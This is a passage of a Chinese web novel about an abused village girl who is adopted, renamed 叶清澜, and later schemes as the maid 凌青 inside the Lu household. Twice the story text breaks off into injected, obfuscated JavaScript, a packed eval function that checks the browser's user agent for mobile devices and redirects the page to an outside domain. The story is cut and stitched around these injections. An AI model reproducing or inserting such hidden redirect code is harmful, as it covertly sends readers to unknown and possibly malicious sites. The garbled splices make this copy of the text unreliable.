只是,她越来越觉得奇怪。因为她的姐姐们是认命的,她们丝毫不觉得重男轻女的爹娘有何不对,她们甚至对压榨甘之如饴。谁干的活最多,谁就是最有价值的女人。 直到有一次,她的二姐因为摔了个碗被爹娘毒打一顿,她终于控制不住自己的好奇心,问道:“你恨他们吗。” 二姐不可思议地看着她,似乎她说的话极为恐怖一般:“你在胡说什么?” 她那时估计只有七八岁,但就是脆生生地说出这么一番话:“他们根本不期待我们的出生,也对我们根本不好,要不是我们能干活,能嫁人给他们换嫁妆,估计早被他们赶出家门了。” 二姐扑过来捂住她的嘴:“你真是疯了!女人生来就是这样的命,爹娘打骂是为了我们好,这样嫁人之后才能有规矩!” 她一把挣脱开,像个狼崽子一样怒视着二姐:“凭什么我要守规矩,凭什么我就要是这样的命!” 从二姐越发恐惧的眼神中,她慢慢意识到,在这个穷苦偏僻的地方,不认命或许是个极其出格的行为。 也许她真是天生孤煞,注定变不成普通人。在豆芽菜的年纪她就悟出了这么一番人生感想,那因为长期吃不饱饭的小鸡崽子身体,更是硬生生长出了一身反骨。 她开始偷偷跑到村庄私塾外偷听,这番行径很快就被发现,直接让她被私塾里的孩子揍了一顿,回家又被爹娘打个死去活来,但她还是坚持不懈地去偷听,日复一日。 幸而她带着点慧根,私塾先生教过的文章,她总是一遍就懂,多听两遍就能背下来。在其他孩子咿咿呀呀,念都念不明白的时候,她已经倒背如流了。 虽说这点小聪明不能让她摆脱困境,但至少让她的内心越发清明。 她也更加确定,自己是不平凡的,所以绝不能就这样认了命。 直到一日,她得知爹娘要将年仅十岁的她嫁给村里的张傻子,只因他们家出三两彩礼钱。 她面无表情,心里想着:你们不把我当人,那我就真不当人给你们看。 当天夜里,她就摸进爹娘的屋子。鼾声如雷中,她悄悄掀开坑席下的陶罐,这里藏着全家的积蓄,六两碎银。 她只拿了一两,这是她日夜为家里干活的报酬,其他的她才不稀罕。 她看了一眼熟睡的爹娘,心中没有一丝不舍,只有满腔恨意。 从今日起,她就当自己没有爹妈,就算他们死了,她也不会回来看一眼的。 她就这样离开村子,踏上了孤身一人的道路。可惜她再怎么聪明绝顶,也只是个瘦弱的十岁小女孩,在她途径清河县差点被人掳走时,清河县主簿叶景菘救了她。 “小姑娘,你家在何处?”她永远记得那时候的叶景菘,他身上全是好闻的墨香,笑起来时温柔如春风。他俯下身子,认真地问:“本官送你回去可好?” “不好。”她仰着头,眼神倔的像头牛:“我没有家,我一直自己一个人过。” 叶景菘有些怔住,但当他目光扫过她手腕上藤条反复抽打的伤痕,再看到她瘦骨嶙峋的轮廓,就什么都明白了。 她看到这个眼前这个男人蹲下身子,亲切地揉了揉她的头,她正不知所已,却听他说道:“我也有个女儿,比你大上一点,皮的像猴,想不想和她玩?” 她愣了愣,那双黑不溜秋的大眼睛里露出了谨慎的神色,但不知为何,她还是鬼使神差的跟着走了。 叶家的青瓦小院藏在巷子深处。踏过门槛时,十岁的她还是忐忑了,她知道自己有多不讨喜,从前村里的小孩都嫌弃她阴气森森,就连她的三个姐姐都暗地里叫她怪胎。 如若这个小官的女儿也不喜欢她,她才不会讨好,一定掉头就走! 反正身上还有一两碎银,足够活很长时间呢。 叶景菘牵着她,一步一步往前走,踏上台阶时,一个穿着红衣裙的小女孩冲了出来。 这小女孩真是漂亮极了,眉眼长得如同画里的人似的,明媚灿烂,让人移不开眼。 她低头看了看自己脏兮兮的衣衫,有些自惭形秽,更想立马走掉。 忽然,那小女孩直接跑着过来,惊喜地大叫:“爹!这就是你说的妹妹?” 说完,女孩便不由分说地扑过来抱住她,直接将她抱了个满怀:“我叫叶清涟,以后你就是我妹妹啦!” 她僵立在原地。叶清涟怀中有阳光晒过的棉絮味,竟带着几分温暖的感觉——从来没有人,这样热烈地拥抱过她。 叶景菘摸了摸她们两个人的头,笑呵呵道:“从今日起,我们就是一家人。”他转头对着她道:“你以后就叫,叶清澜,好不好?” 她在十岁那年终于拥有了名字,清澜,真是个好名字。 十年憔悴尘土窟,清澜一洗啼痕空。① 后来读了此句,她才知道,父亲从给她起名开始,就盼望着她能彻底摆脱往日十年憔悴,以清澜之名重获新生。 从那之后,她就正式成为了叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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烛芯“啪”地爆了个灯花,映亮叶清涟熟睡的侧脸。她轻轻将薄被拉至姐姐肩头,忽然被拽住衣袖——— 叶清涟倏然睁开眼睛,眼睛里却是血色一片,那张姣好的脸不知何时变得扭曲,她哭喊着。 “清澜,救我………” “轰!” 她猛然睁眼,冷汗浸透中衣。 窗外雨越下越大,有雨水渗进窗里。同屋的丫鬟鼾声如雷。 她从床塌上坐起,胸口剧烈地起伏。掌心似乎还残留着梦中为姐姐抹药膏的余温,可随着窗外一阵风吹进来,那点温度也随之消散,什么也不剩了。 “叶清澜………”她在心中一遍遍默念自己的名字。 叶家没了,她也再一次失去了自己的名字。从此世间再也没有叶清澜,只有丫鬟凌青。 父亲盼望她得到的新生,怕是再也实现不了。 4. 回击 第二日一早,凌青便到茶药间上工了。 她特意早来了半个时辰,却没想到推开门,已有窸窸窣窣的动静。屋内,一个穿杏红衣裳的丫鬟正蹲着侍弄红泥小炉,铜壶里飘出淡淡茶香。 那丫鬟闻声抬头,看着凌青,表情有些瑟缩和紧张。她连忙站起身,声音细如蚊蝇:“你是………” “我是新来的煎药丫鬟,你叫我凌青就好。”凌青看了一眼她身后铜壶:“你是茶药间的煎茶丫鬟吧。” “是,是的……我是红袖………”丫鬟声音打着颤,小心翼翼抬眼看了一眼凌青,对上眼神后又慌乱移开眼。 看样子是个胆小又乖巧的姑娘,这个样子岂不是会被碧桃那种人随意折磨。凌青心里想道。 煮茶的铜壶正好开始咕嘟作响,红袖转身手忙脚乱去提,险些烫着手指。 “小心些。”凌青上前半步,帮她扶了一下。 “谢,谢谢……” “没关系。”凌青放缓了语气:“我初来乍到,以后还要请你多教教我。” 红袖闻言,也似乎没那么紧张了,有些感激地看了她一眼,小声道:“那是自然……以后我们就互相帮,帮忙……” 话还没说完,门外传来一阵急匆匆脚步声,紧接着就是碧桃尖利的声音:“红袖!” 红袖吓得一哆嗦,脸色瞬间苍白。 碧桃走进来,冷冽的目光在两个人身上一扫,转向了正在瑟瑟发抖的红袖:“煎个茶磨磨蹭蹭,说笑倒是有时间是吧?平常在我面前装得和个鹌鹑似的,来了个新人就乐成这样,我早就看出来你是个不安分的了!” 这劈头盖脸一顿话直接给红袖说懵了,紧接着凌青就看见红袖眼框掉下来啪啪啪嗒的泪。 碧桃看自己把人骂哭了,似乎身心舒畅了,这才转头看向凌青:“你今日来的倒是早啊。” 凌青已懒得跟她费什么口舌:“今日我可以煎药了?” “可以,自然可以。我哪敢让你干别的,劈个柴能差点把后院毁了,既然你只会煎药,那就煎吧。” 凌青没搭理她的阴阳怪气,直接绕过去,对着方子取了药材,又拿了个盆去后院打井水,拿回来将药材放在井水里泡上。 泡了一段时间后,她便开始煎药。从前在家里经常给父亲治咳疾,给姐姐治腿伤。她的医术并不算出神入化,但煎个药还是手到擒来。 煎完药端去给二小姐陆沁身边的贴身丫鬟后,她回来又听见碧桃在支使人:“红袖,你替我去库房领这三天的茶料和药份例。” 然后就是红袖颤颤巍巍的声音:“碧桃姐,我,我娘咳血病犯了,我想先去看看她……” “你娘生病就不干活了?你把自己当主子不成?”话音刚落,里面就传来了红袖的哭叫声。 凌青放下手中的盆子,走了进去,正看见碧桃隔着衣袖狠掐红袖的胳膊,红袖疼得不住求饶。 “既然她没空,我去领。” 凌青径直上前,挡在红袖前面,身形一挡护在红袖身前,反手拨开碧桃作恶的手。 碧桃的手僵在半空。她瞪着眼看着凌青,显然是不敢相信竟有如此不识时务之人。良久,她忽地冷笑出声:“你可真是厉害啊,一次次让我刮目相看,竟还这般仗义,连这跑腿的活都抢着干。” “同在茶药间做事,互相帮个忙是应当的。碧桃姐姐是对我放心不过?” 碧桃说不出话了,与凌青僵持片刻,只能扯下腰间的对牌往地下一扔:“那你去吧,你这么积极表现,我自然要成全你。” 凌青没有犹豫,俯下身子拾起对牌。背脊依然绷的笔直,低垂的眉眼愈发清冷。明明是个低身的动作,却丝毫看不出一丝卑微感。 碧桃更生气了,胸口剧烈起伏着,感觉能气得撅过去。 凌青怕把她气死,所以站起来掉头就走。 ———- 领完茶药后,她缓步穿过回廊,转过前方月洞门,就能回到月露榭。 她忽然驻足,四下张望了一番,随即果断向相反方向走去。 没错,她根本就没那个善心去帮红袖,冒然领了这差事,只是因为她想趁此机会出月露榭。 她一个煎药的三等丫鬟,若是只干煎药这一个活,根本落不着机会去其他院子打探消息。 要摸清陆府的底细,首先就先得搞明白陆府的布局。 陆府不愧是诗礼簪缨之家,府内丫鬟家丁远比想象的还要多,这个时辰来来往往,不尽其数。 有几个丫鬟捧着食盒正往她这走来。她们都穿着碧青色的比甲,腕间银镯随着步伐叮当作响,手里的食盒精致无比,一看就与其他丫鬟不一样,或许是老夫人或者主母林雪桐院里的。 她退到墙根垂首而立,待队伍经过时,她悄无声息地跟随在后面。 因她衣裳颜色与她们相似,手里也捧着东西,院子门前的家丁也没理会,她就这么混入了进去,进了陆老夫人的院子。 她匆匆打量了一番,摸清楚老夫人院内的布局,又悄悄跟着其他丫鬟出来。 她就以这样的方式,摸索进了府内的各种院子,将沿途的路线一一记在心底。若是碰到不好进的地方,她便假装手里拿的东西掉了,蹲下身来偷偷观望外面。 凌青穿过最后一道回廊,脑海中如同走马灯一般闪过方才看到的。东侧是林雪桐的栖桐院,西侧是二小姐陆沁的月露榭,三小姐四小姐还有各位姨娘的院子………以及这府内的陈设装饰,小到院子前的柏树,她都记得清清楚楚。 这些细节在她脑海中飞速旋转,如同散落的碎片一样,渐渐拼合成形,成了一幅壮观的陆府布局图。 只是这张图,还缺了一大块,那就是北隅,陆大人陆秉风的院子。 当凌青穿过回廊,看到眼前一座格外清幽的院落时,不由蹙了蹙眉。 陆秉风的院子与其他院子的喧闹不同,这里少有出入的下人,甚至连个洒扫丫鬟都没有,只有几个腰佩长刀的护卫来回巡视。 奇了怪了,堂堂府内老爷的院落,怎么如此寂静偏僻。自家院子,看守还如此森严。 她稍微探了探身子,想这么远远看一看就罢,谁知立马有一道锐利的目光扫过来,院门的护卫大喝了一声:“何人在那!” 凌青心内一惊,立即低下身子,转身快步就走。 她一路匆匆穿过回廊,丝毫不敢停步,生怕被逮个正着。转过假山时,冷不防差点撞上一个人。 那是一个约莫着十六七岁的少年,穿着锦袍,眉目温润如玉,举手投足带着清贵优雅。 他扶住凌青:“没事吧?” 慌乱中,凌青看了他一眼。 只那匆匆一眼,她瞬间知道了此人是谁。 陆家子嗣不多,只有白姨娘所出的长子陆长卿和林雪桐所出的次子陆砚修。陆砚修的才学品性在京中早有盛名。去年重阳诗会,他即兴所作的《登楼赋》传遍京城,还被当今天子阅过,龙颜大悦,夸他肖似其父,有经世之才,又守君子之德。 眼前这位,应当就是那惊才绝艳的二公子陆砚修了。 她连忙跪伏在地,将头埋下:“奴婢莽撞!请二公子赎罪。” 只听头顶传来轻笑声,声音温柔:“不打紧,快起来吧,你看着眼生,是哪院的丫鬟?” 凌青顿了一下,自然不能说自己是月露榭的,否则事后陆砚修觉得她行径古怪,那直接逮她一逮一个准。 面对不知该如何回答的问题,她选择直接不回答。 她跟个木头一样杵着,低头重复念叨着:“奴婢是新来的,不熟悉府中地形,冲撞了公子,奴婢真是该死!奴婢该死!” 像个听不懂话的棒槌一样答非所问。 “既是新来的,不熟悉也自然。”陆砚修也没嫌烦,声音如清风拂过:“只是———你为何知道我是二公子呢?” 好问题,自然是因为她事先从刘伢婆那打听过陆府的消息。 可这话不能说出来。她只能迅速脑海里反应一下,沉声道:“自然是因为公子俊美无双,气度不凡,都说二公子乃人中龙凤,奴婢一看便知。” 在她的前十八年,就没拍过马屁。她也不屑于拍,她虽要啥啥没有,但她那该死的自尊心就是极强。 今日迫不得已拍一次马屁,实在是生疏得很,以至于她忘记了自己的语气。 陆砚修也愣住了。他见过无数丫鬟,或是羞涩小声,或是偷瞄脸红,或是故作娇憨。可这般语气冷淡地夸他的,还是头一回见。 “你是哪个院子的,叫什么名字?”陆砚修饶有兴趣地问。 “回公子,主子们还没给奴婢赐名呢。” “那你是哪院当差的?” “奴婢在府中做些杂活。” “做什么杂活?” “主子们吩咐什么,奴婢便做什么。” 陆鸣远被她这般回答逗笑了,一时分不清她是真傻的听不懂人话,还是太过滴水不漏:“你这丫头……手中拿的是何物?” “是嬷嬷让我拿的东西。” “送往何处?” “哪里需要便送去哪里啊。” 这回答当真是...独特。陆鸣远越看越觉这丫头不寻常,有些古怪,正要再问,凌青忽然重重磕了个头:“公子恕罪,奴婢还有差事要办,先告退了!” 话音未落,她已起身快步离去,步履匆匆,像是有什么急事。 凌青快步走回月露榭,心里才算稳住了。 真险,但得亏什么也没暴露。 ————- 回来之后,红袖对她亲近了起来,显然很是感激她帮忙领茶药材。 “凌青姐姐,真是谢,谢谢你。”小姑娘终于敢抬起头看她,那双小鹿一样圆圆的眼睛,可爱又可怜。 “举手之劳罢了。” “我娘………实在病的厉害,最近竟开始咳血。”红袖已是找不到其他人倾诉了,红着眼睛 与凌青说。 凌青蹙了蹙眉:“怎会如此?” “是,是这么多年做粗使嬷嬷落下的病根。夫人心善,准她歇着,可...…” 凌青的眼神忽然一凛,语气却丝毫没有变化:“夫人?你娘是夫人院里的人?” “是……”红袖擦了擦眼泪:“我娘从夫人嫁进来时就伺候了,我娘常说,夫人待下人是极好的...可这些年攒的体己钱,全填了我那赌鬼哥哥的无底洞……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956620|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>凌青只觉得得来全不费工夫,她一心想进林雪桐的院子却未果,如今要是帮忙救了红袖她娘,她就相当于安插了个人在栖桐院。 她眸光微闪,抓住红袖颤抖的手:“我现在有个方法或许可以帮到你娘,你想听吗?” 红袖猛地抬头:“什,什么方法?” 凌青直视着她的眼睛,语气放得更加沉稳:“若你信得过我,就让我去看看你娘。我家中开过药铺,所以我自小就学医术,若是给你娘看错了病,我一力承担。看完若需要抓药,那就我来想办法搞些药来。” 红袖有些愣住了。 她自小在府里做丫鬟,从未听过这样的话,也没见过这样的眼神。 这冷冽如利刃的眼神,带着不容置疑的压迫感,却又坚定的能穿透人心,似乎所有犹豫和质疑都可以剜剔干净。 她反应过来后,眼神渐渐迸出希冀的光:“凌,凌青姐姐!我信你!”她眼泪流下来,只好一边擦一边哽咽:“我该如何报答你………只相识一天你就肯如此帮我………” “没关系,若我以后需要你帮助,我会说的。” 天下熙熙,皆为利来。凌青心里门清。她怎可能会为一面之缘之人费心费神,但若为能帮她达目的之人办事,那她可很愿意。 —- 红袖的娘是病的挺严重,但不并是无力回天。 凌青收回搭脉的手,转头对上红袖充满期望的眼神,摇了摇头:“肺经受损,邪气入体,是肺痨。” 红袖脸瞬间惨白,一下子跌倒在地上,她看着床塌上蜷缩着的娘,大哭出声。 “你先别哭,未至绝处,还有回转余地。只是需要用三拗汤配紫金丹,连服一月。” 紫金丹所需的麻黄、杏仁,其实月露榭的茶药间都备着,她去府内领茶药时也见着了。 二小姐陆沁每日的汤药就那么几种,根本耗费不了多少药材,所以一定是有药材剩余的。 只是剩再多,那也是供陆府主子们的,落不到底下丫鬟头上。她们若是起了歪心思,那就是叛主。 可如今,为了救人,不得不走些歪门邪道了。 “咱们每三天领的药材,应当有不少剩余,你知道都在哪吗?” 红袖擦擦泪:“应该是在后院西边那间屋子的楠木柜子里,我上次看孙嬷嬷对着柜子盘点药材。” “孙嬷嬷?”凌青似乎发现了可以入手的点:“这些剩余药材不归碧桃管?” “碧桃姐姐是想的,但孙嬷嬷是茶药间的粗使嬷嬷,这事本就该她管。孙嬷嬷与二小姐身边的常嬷嬷有几分交情,所以碧桃姐姐对她挺客气,就只能如此了。” 那看来,这个孙嬷嬷还挺重要的。要是能讨得孙嬷嬷欢心,将关系拉拉近,兴许能托她从库房里拿出些药材。 凌青立即站起来,扶起满脸泪水的红袖:“别哭了,带我去找孙嬷嬷。” 孙嬷嬷这个时间应当在后院洗茶具碗杯,两个人便马不停蹄回到月露榭。 刚一只脚迈过茶药间的门槛,凌青眉头一跳,不由猛地刹住。后面的红袖没稳住,一下子撞在凌青的后背上。她揉了揉额角,有些疑惑:“凌青姐姐,怎么了?” 凌青侧开身子,露出里面的景象。 药碾被掀翻在地,里面的粉末洒的到处都是。为晚上煎药而提前泡好的药材,此刻已混着泥土堆在地上,而凌青的青布围裙也被扔进了水缸里,湿漉漉地滴着脏水。 “呦,回来了。”碧桃倚在里屋门框上,抱着胳膊:“方才风大,把东西都吹乱了。” 凌青盯着地上的狼藉,面色平静,声音很轻道:“是你干的?” “你可别胡说八道!”碧桃瞪着眼睛:“某些人晦气,风就偏吹你的东西,还不赶紧捡起来收拾好,耽误了晚上的汤药,我看你还能不能有法子!” 凌青深吸一口气,垂下的手却已悄悄攥紧。 她不是没给过碧桃机会,可这人一次次挑衅,实在是蹦跶的让人生厌。 这样的人,也不配做一个管事之人,只有从月露榭彻底消失,才能真正老实。 只是让碧桃消失之前,她难道一直忍辱负重么? 凌青缓缓走到水缸边,默默开始捞那条湿漉漉的围裙。 她皱着眉,做出用力拽的样子,看着有些心酸。 碧桃见她这副认命的样子,心里更是得意,便走过来欣赏她的狼狈:“哎呀,什么脏东西,都掉在缸里了。” 她凑到水缸边,指着缸里的脏围裙继续嘲笑:“看看这模样,脏成什么样了!你准备直接拿出来继续穿吗,穿在身上也不嫌臭———” 话音未落,凌青猛地抓住她的手腕往前一拽。碧桃猝不及防,整个人栽进水缸,溅起的脏水泼了满墙。她扑腾着要爬起来,凌青却按着她的后颈又往水里摁了一把。 “你说脏东西是吗?这不在这吗。”凌青松开手,在碧桃耳边轻声道。 声音只有她们两人能听得见,尾音拖的极慢,每一个字都冻的人后颈发麻。 满屋死寂,红袖捂住了嘴,碧桃已经彻底愣住了。 凌青心里长舒了一口气,果然,忍是忍不了一点的,有事就得立马解决,报复的事也一样。 5. 谋进 碧桃从水里抬起头的时候,精心梳好的发髻全已散成乱麻。更要命的是,方才慌乱中踩空了脚,如今左脚踝处钻心地疼,站都站不稳。 “你………你……”她哆嗦着伸出手,指着凌青,声音也在打颤。 太恐怖了,这是哪来的恶鬼,短短一天时间差点害死她两次!偏偏这两次还一次比一次狼籍! 她碧桃在陆府横行这么多年,不知道搓磨过多少丫鬟,就从来没有碰到过这样的刺头,一言不合直接动手。 她现在是对凌青又恨又怕,她恨不得将这个小贱人千刀万剐,却又不敢想这人下一步还能做出何等疯事来。 “你简直疯了!丝毫不把我放在眼里,你就不怕我去叫陶嬷嬷,把你逐出府!” “请便。”凌青拍了拍衣袖上的水珠,抬起面无表情的脸:“正好让陶嬷嬷看看你干的好事。” 碧桃没见过这么倒打一耙的,不敢置信:“你说什么?” 凌青低下身,拿起地上的药碾,从碎裂的裂缝中摘下几根深蓝色的丝线。她将丝线放在手心中,摊开给碧桃看:“这是你衣服上的吧。” “你………”碧桃下意识抬起袖子,那里果然少了道锁边的线头。 “不小心卡进去的而已,你想凭个线头污蔑我什么?” 凌青的目光落在碧桃刚才指着她的那只手上,眼神一凝。 “把手伸出来。” “什么?”碧桃下意识地将手藏到身后。 “我说,把手伸出来让我看看。”凌青一步步逼近。 碧桃心虚地后退,却因脚伤站立不稳,险些再次摔倒:“你、你想干什么?” 凌青猛地抓住她的手腕,强行将她的手掌翻过来。只见碧桃的手心和指间有几道新鲜的血痕,其中一道还嵌着一小片白色的陶瓷碎片。 “这是什么?”凌青扬起声音,“药碾的碎片怎么会扎在你手上?” 碧桃拼命想要抽回手:“我怎么知道,可能是刚才摔倒的时候………” “摔倒?”凌青冷声,“你是摔在药碾上了吗?还是说,你根本就是在砸药碾的时候被溅起的碎片割伤的?” 碧桃先是愣住,紧接着嗤笑一声,可惜她此时湿发披散,狼狈不堪,又因脚伤站立不稳,这番冷笑倒像个疯婆子,毫无威势可言。 “是又如何?我是夫人亲点的管事丫鬟,莫说打翻了这些药材,就是砸了这茶药间也不会有事!轮得着你来审问我?” “可是你害了二小姐。”凌青突然打断:“我给二小姐泡好的安神汤药材,你就这么踩碎混在泥里。你是想误了二小姐喝药的时辰吗?” 碧桃猛地僵住,但很快反应过来:“你别拿二小姐说事!煎药是你的活,你再去拿药材煎就是了!” “小姐有心悸之症,汤药不能有任何一丝闪失。你为了给我下马威,就糟蹋药材,就是在增添风险,置小姐安危于不顾。”凌青才不会被她带跑偏,反正只要把“二小姐”这顶高帽死死扣她头上,她就必然害怕。 果然,碧桃已经面色惨白,本就半瘸的腿更是支撑不住,一下子瘫软在地上。 紧接着她又好像想到什么,狼狈的扶着墙,缓缓爬了起来,硬挤出个笑容:“何必这样,这一切都是误会。今日是我的错,这事就到此为止,以后我也定不会再为难你,我们井水不犯河水,你原谅我这次,可好?” 就这么改过自新了?谁信。凌青心里冷笑。 只是她毕竟是个最低微的三等丫鬟,如今靠着这些把柄才能威胁着碧桃,否则她早就被碧桃生吞活剥了。 这些事情在这闹闹就罢了,传出去对她也无益。 凌青看着她不说话。 直到碧桃被看的不自在,要忍不住说话时,凌青才假装犹豫了一下,随即点了点头:“也是,碧桃姐姐说的是不错,我们都是下人,自然要和睦相处才对。” 和睦相处个屁!这死丫头的仗势哪有点和睦的样!碧桃咬碎了牙,但因为不用上禀到常嬷嬷那,还是悄悄送了口气。 没等碧桃的心彻底放回肚子里,就又听凌青说道: “只是这满地狼藉,怕是要麻烦碧桃姐姐亲自收拾了。” 碧桃的心,又一次彻底死了。 —- 井台边上,的确有个老嬷嬷正蹲着刷洗茶具。铜盆里的碗碟碰得叮当响,这尖锐的声音传达着洗碗人的不耐。 凌青示意了一下红袖,便挽起袖子走过去,站在孙嬷嬷面前。 “嬷嬷安好。”她福了福身子:“我是新来煎药的凌青,昨日来的匆忙,还没见过嬷嬷,今日特意来跟嬷嬷打个招呼。” 孙嬷嬷不耐烦地抬起头,看到眼前是个漂亮瘦弱的小姑娘,眉宇间的烦躁似乎抚平了一些。 作为长辈,谁不喜欢这种文文静静,看着乖巧,还有几分书卷气的姑娘?更何况这小姑娘还知道特意与她打个招呼,算是懂事理的。 “既然来了,就好好做事,有你的好处,咱们二小姐可是最怜惜下人的。” “是。”凌青应了,也蹲下身来,看着盆里堆积的碗碟茶具:“嬷嬷,您每天刷这么多,忙得过来吗。要不我和红袖每日忙完自己的活计,就过来帮帮您。” 孙嬷嬷老脸微微一皱:“这哪成,我这活又不要紧。” 凌青用眼神示意红袖,红袖反应过来,连忙应和着:“不要紧的,孙嬷嬷。” “哪能不要紧呢。”凌青自然地接过上面几个碗,像唠家常一样嘀咕道:“您干的活看似不起眼,其实离了您最不行。您想想,又管库房又干杂务,换我和红袖早忙不迭了。况且这些活看着没什么,其实都有讲究着。” 孙嬷嬷眼睛一亮:“可不是!那些人哪知道,这茶具药碗最是难洗!我都是用着巧劲。就说这茶垢………” 孙嬷嬷和凌青聊的热火朝天,红袖在一旁目瞪口呆。 一是她在这里这么久,从未见过孙嬷嬷如此和颜悦色。孙嬷嬷虽说不像碧桃那样刻薄,但也不是个好相处的,竟然第一面就如此喜欢凌青。 二是凌青看着就冷冷的,说话也简洁利落,对付起碧桃来更是干脆。谁能想到她还会奉承人,像换了一个人一样与孙嬷嬷说话。 就这样,她看着俩人聊了一下午。 “要不说嬷嬷厉害呢。”凌青递过去干抹布,"您这么些年,可真是不容易。更难得的是,还从没出过岔子。” 孙嬷嬷笑的开怀,脸上细纹都舒展了,亲热地握着凌青的手,大有一幅找着此生知己的架势:“好孩子,只有你最懂我。” 凌青露出感动的神色:“我自小没有母亲,今日见着嬷嬷就感觉亲切,和您说话,就好像见着母亲了一般。” 孙嬷嬷更是心疼这没娘的孩子了,不住的轻拍她的手:“好孩子,那以后就多来与我说说话。时候不早,你们快回去干自己的活吧。” 凌青微微一笑,乖巧地站了起来。 这时,红袖看她们聊得差不多了,于是偷偷拽了拽凌青的衣袖,小声道:“现在是不是可以讨药材了………” 凌青拉着她转身走出后院,刚才还感动的神情瞬间恢复成往日的面无表情。 “不到时候。”她沉声道:“现在讨要,目的不就暴露了吗。若让人知道我们是带着目的接近,只会让这一下午的功夫打水漂。我们得徐徐图之。” —- 接下来的几日,凌青每日卯时起来,准备二小姐早上和中午晌的汤药。全准备完后,就去红袖她娘那里针灸,延缓一下病情。下午,她便和红袖去孙嬷嬷那里帮忙,唠家常。 幸亏碧桃最近老老实实的,没搞什么小动作。所以她这些计划进展的也很顺利。 今日,她和红袖又帮着孙嬷嬷收拾完茶具,三个人坐在后院的小杌子上歇息时,凌青终于试探着开口了。 “要不说这人世事无常,”凌青状似无意:“今儿我们中午去瞧了红袖的娘,咳的越发厉害了。” 红袖低着头,应道:“是,是的。” 孙嬷嬷关切道:“这么病啊,这么严重。” “是肺痨。” “肺痨?!哎呦,那可难治了吧,能治好吗?” 凌青叹了口气:“能倒是能。就是需要药,可这药哪是我们能买得起的。” 说完,她暗示地看了看红袖,示意红袖卖卖惨。可惜红袖关键时候就挤不出眼泪了,在那瞪着眼睛干哭。 不卖惨怎么能达到效果?凌青蹙了蹙眉。 于是,她在孙嬷嬷看不见的角度,掐了一下红袖的腰,红袖立马“哎呦”一声,眼泪鼻涕涌了出来:“是………是……”说着真哭的上气不接下气。 “嬷嬷您看。”凌青搂住红袖的肩膀,一脸心疼:“我们虽认识没几天,却情同姐妹,我看不得她这样。” 孙嬷嬷听了她们的话,眼睛微微眯起,似乎在思索。忽然她一拍大腿:“我还真知道哪里能弄到药材!” 红袖猛地抬起头,泪珠挂在睫毛上:“嬷嬷是说库………” 凌青一下子截断她的话:“嬷嬷当真?您哪来的药材啊。” “提前说好了,不一定有你们要的。”孙嬷嬷从腰间摸出钥匙串:“茶药间多的剩余的药材,全在库房里存着呢,我都给保管的好好的。” 凌青还在故作迟疑:“啊?库房的?那可这是主子的药,我们拿怕是不合规矩。” 孙嬷嬷笑道:“这算什么,咱们老夫人最重视养生,所以府里有着自己的药圃,再加上府上人还定期采买,最是不缺药材。每次库房分配药材都往多了给,剩下的这些陈药自然是不能再给主子用了。我看不得好东西被瞎了,所以保管的好好的,但终究留着也是浪费。” 孙嬷嬷引着她们进了库房,右侧是多宝阁式的金丝楠木药柜。孙嬷嬷随便拉开一个抽屉,里面整整齐齐码着的油纸包散发出清苦药香。 红袖轻呼一声,想来找药,却被凌青按住手腕。 “我来吧。”凌青指尖略过抽屉,精准地拣出几味,嘴里轻声念着:“白芨、三七………” 孙嬷嬷对她越发欣赏:“你干事啊,真是伶俐。”说着她好像想到了什么,压低了声音:“我啊,也就看你们小丫头,能干又心善,才带你们来的。要是那些腌臜玩意,我才不愿意管。就之前碧桃那丫头,她就与我说过,想拉我做这些药的买卖。” 凌青本来只是只是听着,“碧桃”二字一出,她包药的手立马一顿,抬起头:“嬷嬷是说,碧桃想和您一起把药倒卖出府?” “是啊,这药虽然是剩下的,放着没用。让你们拿些去用还行,倒卖出去可就不是那个道理了……严重点可是会被赶出府的,我胆小,自然就拒绝了她。” 碧桃胆子也的确是大,能动这种心思。 凌青思索片刻,忽然转移话题道:“嬷嬷,我听红袖说,咱们二小姐最是怕苦,是真的吗?” 孙嬷嬷愣了一下,点点头:“是,二小姐最是怕苦,所以不爱喝药,可她身子弱,老夫人又看的紧,只能一天三碗药的灌下去。” 凌青顿时有了主意,她再一次拉开抽屉,取出了些药材。 “你这是………”孙嬷嬷和红袖疑惑。 “等我做好了给你们看。”凌青将药包都整理好,唇角扬起了一个极不明显的弧度。 一个只煎药的三等丫鬟,调查陆府得调查到猴年马月去,可若她升为茶药间的管事丫鬟,那就是二等丫鬟,处境就立马不一样了。 碧桃这人刻薄阴狠,整天动歪心思,在其位不谋其事,将茶药间弄的一塌糊涂,还整天针对好欺负的人。 就算她没吃亏,那也不能抵消碧桃整治她的事实。 况且,有野心从来就不是错。她就是要踩着碧桃往上爬,当上管事丫鬟。 所以………她要开始搞事了。 —— 夜晚,下人房内。 烛火在土墙上投下摇晃的影子,凌青正包裹药材。她指尖灵巧翻折,将药材与茶装在香囊里。 她今日在库房拿药时忽然想起,之前看过的医书里有说心悸之人可悬挂药包在床头,药气缓释,一定的疗效。 有药包在,二小姐平日喝的药就可减少药量,自然就不会那么苦了。 红袖蹲在一旁,好奇地戳了戳:“孙嬷嬷真的去问府医了?这个有用吗?” “自然,”凌青系紧结,“我下午叮嘱你的事,你都记住了吗。” 红袖点点头。 “那就好,”凌青攥紧手里的药包,轻声道:“明天,可别让我白费这番功夫。” —— 月露榭的主屋内,茜沙窗透进的阳光在青玉案上投下一片斑驳阴影。 案头博山炉正升起袅袅青烟,一侧的青瓷瓶中插着几只新折的梨花,室内一片暗香浮动。
